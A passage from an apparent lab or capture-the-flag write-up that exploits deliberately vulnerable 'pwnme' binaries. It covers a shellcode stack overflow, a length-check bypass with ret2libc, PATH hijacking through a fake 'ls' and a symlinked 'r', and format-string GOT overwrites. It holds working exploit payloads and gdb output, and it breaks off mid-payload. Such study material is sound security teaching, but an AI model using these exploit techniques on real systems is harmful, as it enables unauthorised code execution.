Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x43434343 in ?? ()
After tinkering with the padding, I find the magic number that results in our target address going into eip
- 440. I update the exploit..
buf = ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
buf += "A" * (440 - len(buf))
buf += "\x0d\xf7\xff\xbf"
buf += "C" * (512 - len(buf))
print buf
And run it!
tux@tux:~/0x03$ echo $BASHPID
9946
tux@tux:~/0x03$ ./pwnme `python exploit.py`
tux@tux:/home/tux/0x03$ echo $BASHPID
10167
Great! We've now (finally) got a working exploit.
0x04
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <stdint.h>
#define MAX_LEN 1024
struct foo {
uint16_t len;
char content[MAX_LEN];
} foo;
int foo_cpy(FILE *fp) {
struct foo bar;
fread(&bar.len, sizeof(uint16_t), 1, fp);
if ((bar.len+1 & 0xff) > MAX_LEN) {
puts("Bad dog!");
} else {
puts("Good.");
fseek(fp, 2, SEEK_SET);
fread(&bar.content, 1, bar.len, fp);
printf("%s\n", bar.content);
}
fclose(fp);
return 0;
}
int main(int argc, char **argv) {
FILE * fp;
fp = fopen(argv[1], "r");
foo_cpy(fp);
return 0;
}
cracks knuckles So, upon entering main
, we open the filename specified and pass the resulting descriptor to the foo_cpy
. The foo_cpy
will read in the a uint16_t
from the descriptor into the bar.len
variable. It will then check that the file size + 1, logical AND 255 is not greater than MAX_LEN
(1024). If it is, then the message Bad dog!
is output, otherwise we seek to position 2 in the file and read from the file the stated length in bytes and print out the content.
In the hint, we are given the following command.
tux@tux:~/0x04$ xxd hint
0000000: 7072 696e 7466 2022 5c78 6666 5c78 6666 printf "\xff\xff
0000010: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000040: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000050: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000060: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000070: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000080: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000090: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000100: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000110: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000120: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000130: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000140: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000150: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000160: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000170: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000180: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00001f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000200: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000210: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000220: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000230: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000240: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000250: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000260: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000270: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000280: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000290: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00002f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000300: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000310: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000320: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000330: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000340: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000350: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000360: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000370: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000380: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000390: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003a0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003b0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00003f0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000400: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000410: 4141 4141 4141 4141 4141 4141 4242 4242 AAAAAAAAAAAABBBB
0000420: 2220 3e20 7465 7374 0a " > test.
Looking at the first two bytes, the length that would be read in would equal 0xffff
, or 65536
. Adding 1 to this gives us 0xf0000
. A logical AND of 0xf0000
and 0xff
results in the value 0, meaning we would pass the size check, even though the size is greater than the max buffer size. This results in a buffer overflow. We should be able to use this to execute arbitrary code by manipulating the eip
register.
I run the test pattern through gdb
.
tux@tux:~/0x04$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run test
Starting program: /home/tux/0x04/pwnme test
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBo|"�
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6e0 --> 0x804a008 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6e0 --> 0x804a008 --> 0x0
0004| 0xbffff6e4 --> 0x804866f --> 0x72 ('r')
0008| 0xbffff6e8 --> 0x804987c --> 0x8049790 --> 0x1
0012| 0xbffff6ec --> 0x8048622 (<__libc_csu_init+82>: add edi,0x1)
0016| 0xbffff6f0 --> 0x2
0020| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8dc ("/home/tux/0x04/pwnme")
0024| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0028| 0xbffff6fc --> 0x804a008 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
It looks like we can overwrite eip
at position 1036
. I confirm this by changing the value of BBBB
to CCCC
.
tux@tux:~/0x04$ python -c 'import sys; sys.stdout.write("\xff\xff" + ("A" * 1036) + ("C" * 4))' > test
tux@tux:~/0x04$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run test2
Starting program: /home/tux/0x04/pwnme test2
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC|"�
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6e0 --> 0x804a008 --> 0x0
EIP: 0x43434343 ('CCCC')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff6e0 --> 0x804a008 --> 0x0
0004| 0xbffff6e4 --> 0x804866f --> 0x72 ('r')
0008| 0xbffff6e8 --> 0x804987c --> 0x8049790 --> 0x1
0012| 0xbffff6ec --> 0x8048622 (<__libc_csu_init+82>: add edi,0x1)
0016| 0xbffff6f0 --> 0x2
0020| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8db ("/home/tux/0x04/pwnme")
0024| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0028| 0xbffff6fc --> 0x804a008 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()
Awesome. So, what can we do with this? We could overwrite eip
with the address of __libc_system
, which could allow for execution of arbitrary commands. First, I find the address of __libc_system
.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
We can now build a payload using a small snippet of Python.
tux@tux:~/0x04$ python -c 'import sys; sys.stdout.write("\xff\xff" + ("A" * 1036) + "\xe0\x43\xe6\xb7")' > payload
We then pass this payload
filename into pwnme
, and observe the result.
tux@tux:~/0x04$ ./pwnme payload
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Co|"�
sh: 1: r: not found
Segmentation fault (core dumped)
Awesome - it's trying to execute a program called r
. I was worried we'd have to manipulate the stack somewhat in order to exploit this, but as it stands all we need to do is create a symlink named r
that points to /bin/sh
, and re-execute pwnme
with a manipulated PATH
environment variable.
tux@tux:~/0x04$ ln -s /bin/sh r
tux@tux:~/0x04$ PATH=.:$PATH ./pwnme payload
Good.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Co|"�
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Good stuff - we've got a shell by using a symlink, along with our payload.
0x05
// gcc pwnme.c -o pwnme
#include <stdio.h>
int main( void ) {
puts("Content of /home/tux:");
system("ls -l /home/tux");
return 0;
}
Now, either I'm missing something, or this is a pretty simple binary to exploit. It infact is very similar to the last step of the previous binary. We can create a file in the current directory named ls
, and then run pwnme
with an updated PATH
environment variable, so that instead of calling /bin/ls
our own ls
script gets called.
tux@tux:~/0x05$ echo 'sh' > ls && chmod +x ls
tux@tux:~/0x05$ PATH=.:$PATH ./pwnme
Content of /home/tux:
$ id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Done, and done.
0x06
// gcc -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
int dummy(const char * data) {
char buff[64];
if(strlen(data) > 64)
puts("Bad dog!");
else {
sprintf(buff, data);
puts(buff);
}
return 0;
}
int main(int argc, char **argv) {
dummy(argv[1]);
return 0;
}
In this binary, we have very limited space (64 characters) for our input, however from what I can see we shouldn't need much to trigger an exploit. The call to sprintf
is susceptible to a Format String Injection vulnerability, as it accepts user input as the first argument without sanitation. We can demonstrate this by providing %x
as the input, which will give us the value of the first item on the stack.
tux@tux:~/0x06$ ./pwnme %x
2c0003f
We can validate this using gdb
.
gdb-peda$ disas dummy
Dump of assembler code for function dummy:
0x0804845b <+0>: push ebp
0x0804845c <+1>: mov ebp,esp
0x0804845e <+3>: sub esp,0x48
0x08048461 <+6>: sub esp,0xc
0x08048464 <+9>: push DWORD PTR [ebp+0x8]
0x08048467 <+12>: call 0x8048330 <strlen@plt>
0x0804846c <+17>: add esp,0x10
0x0804846f <+20>: cmp eax,0x40
0x08048472 <+23>: jbe 0x8048486 <dummy+43>
0x08048474 <+25>: sub esp,0xc
0x08048477 <+28>: push 0x8048580
0x0804847c <+33>: call 0x8048310 <puts@plt>
0x08048481 <+38>: add esp,0x10
0x08048484 <+41>: jmp 0x80484a7 <dummy+76>
0x08048486 <+43>: sub esp,0x8
0x08048489 <+46>: push DWORD PTR [ebp+0x8]
0x0804848c <+49>: lea eax,[ebp-0x48]
0x0804848f <+52>: push eax
0x08048490 <+53>: call 0x8048350 <sprintf@plt>
0x08048495 <+58>: add esp,0x10
0x08048498 <+61>: sub esp,0xc
0x0804849b <+64>: lea eax,[ebp-0x48]
0x0804849e <+67>: push eax
0x0804849f <+68>: call 0x8048310 <puts@plt>
0x080484a4 <+73>: add esp,0x10
0x080484a7 <+76>: mov eax,0x0
0x080484ac <+81>: leave
0x080484ad <+82>: ret
End of assembler dump.
gdb-peda$ break *dummy+58
Breakpoint 1 at 0x8048495
gdb-peda$ run %x
Starting program: /home/tux/0x06/pwnme %x
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0x0
EDX: 0xbffff6a7 --> 0xfff6c000
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6e8 --> 0xbffff708 --> 0x0
ESP: 0xbffff690 --> 0xbffff6a0 ("2c0003f")
EIP: 0x8048495 (<dummy+58>: add esp,0x10)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804848c <dummy+49>: lea eax,[ebp-0x48]
0x804848f <dummy+52>: push eax
0x8048490 <dummy+53>: call 0x8048350 <sprintf@plt>
=> 0x8048495 <dummy+58>: add esp,0x10
0x8048498 <dummy+61>: sub esp,0xc
0x804849b <dummy+64>: lea eax,[ebp-0x48]
0x804849e <dummy+67>: push eax
0x804849f <dummy+68>: call 0x8048310 <puts@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbffff690 --> 0xbffff6a0 ("2c0003f")
0004| 0xbffff694 --> 0xbffff8f3 --> 0x53007825 ('%x')
0008| 0xbffff698 --> 0x2c0003f
0012| 0xbffff69c --> 0x0
0016| 0xbffff6a0 ("2c0003f")
0020| 0xbffff6a4 --> 0x663330 ('03f')
0024| 0xbffff6a8 --> 0xbffff6c0 --> 0xffffffff
0028| 0xbffff6ac --> 0x804824a ("__libc_start_main")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048495 in dummy ()
We can leverage this Format String Injection vulnerability to perform a buffer overflow attack on the
variable buff
, with the intention of overwriting the eip
register.
After some experimentation, it appears that we can overwrite the eip
register at position 76, as demonstrated by the following execution in gdb
.
gdb-peda$ break *dummy+82
Breakpoint 1 at 0x80484ad
gdb-peda$ run `python -c 'print "%76xAAAA"'`
Starting program: /home/tux/0x06/pwnme `python -c 'print "%76xAAAA"'`
2c0003fAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xffffffff
EDX: 0xb7fd0878 --> 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x66333030 ('003f')
ESP: 0xbffff6f0 --> 0xbffff800 --> 0xbfffffab ("LOGNAME=tux")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff6f0 --> 0xbffff800 --> 0xbfffffab ("LOGNAME=tux")
0004| 0xbffff6f4 --> 0xbffff7b4 --> 0xbffff8d8 ("/home/tux/0x06/pwnme")
0008| 0xbffff6f8 --> 0xbffff7c0 --> 0xbffff8f6 ("SHELL=/bin/bash")
0012| 0xbffff6fc --> 0xb7e573fd (<__cxa_atexit+29>: test eax,eax)
0016| 0xbffff700 --> 0xb7fcf3c4 --> 0xb7fd01e0 --> 0x0
0020| 0xbffff704 --> 0xbffff720 --> 0x2
0024| 0xbffff708 --> 0x0
0028| 0xbffff70c --> 0xb7e3fa63 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()
We could direct the execution to the __libc_system
function, and potentially gain code execution. Let's get the address for __libc_system
first.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
Next, we construct a payload to overwrite eip
with this address.
run `python -c 'print "%76x\xe0\x43\xe6\xb7"'`
Let's see what happens..
gdb-peda$ run `python -c 'print "%76x\xe0\x43\xe6\xb7"'`
Starting program: /home/tux/0x06/pwnme `python -c 'print "%76x\xe0\x43\xe6\xb7"'`
2c0003f�C�
[New process 4114]
process 4114 is executing new program: /bin/dash
sh: 1: ��������: not found
[Inferior 2 (process 4114) exited with code 0177]
Ok, so we redirected the flow to the system
function, but we tried to execute a junk filename. After attempting to create a file with the filename stated above (which you can actually do) I met with zero success - back to the drawing board.
As the user input is subsequently passed into the puts
function, we could overwrite the GOT entry for puts
with the address of __libc_system
.
First of all, I find the address of the GOT pointer for puts
, and the address for the function __libc_system
.
gdb-peda$ disas 0x8048310
Dump of assembler code for function puts@plt:
0x08048310 <+0>: jmp DWORD PTR ds:0x80497a0
0x08048316 <+6>: push 0x0
0x0804831b <+11>: jmp 0x8048300
End of assembler dump.
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>
Next we need to find at which offset in the stack our input appears.
tux@tux:~/0x06$ ./pwnme AAAA.%x.%x.%x.%x.%x.%x
AAAA.2c0003f.0.41414141.3063322e.66333030.342e302e
Great, so our input starts at position 3 in the stack.
tux@tux:~/0x06$ ./pwnme AAAA.%3\$x
AAAA.41414141
Time to start putting together our payload. The first four characters will include the command we want to execute - in this case, sh;#
. We will then include two addresses, pointing to each half of the GOT pointer for puts
.
sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08
Next, we output enough characters (minus 12, for the current output) to bring the total number of characters up to the least significant two bytes of the address for the __libc_system
function. We then specify position 5
on the stack (the address for the first half of the GOT pointer for puts
), followed by $hn
, in order to write out to the address at position 5
on the stack.
sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08%57399x%4$hn
We repeat this process for the most significant two bytes of the address for the __libc_system
function.
sh;#\xa0\x97\x04\x08\xa2\x97\x04\x08%57399x%4$hn%1652%6$hn
run `python -c 'print "sh;#\xa0\x97\x04\x08\xa1\x97\x04\x08\xa2\x97\x04\x08\xa3\x97\x04\x08%204x%4$n%99x%5$n%163x%6$n%209x%7$n"'`
With the above, we can overwrite the GOT for puts with the address of __libc_system, but we still don't get command execution..bummer.. At this point, I was tearing my hair out. I decided to take a step back and do some reading. That's when I came across this classic article named Smashing The Stack. I realised, I was being a bit of a dummy.
Instead of overwriting the GOT for the sprintf
or puts
function, we can simply perform a classic ret2libc exploit, by overwriting the eip
register and setting up the stack accordingly. Our payload looks like this.
payload = "%76x\xe0\x43\xe6\xb7" # Overwrite eip with address to __libc_system
payload += "\xb0\x71\xe5\x08" # Return address (exit)
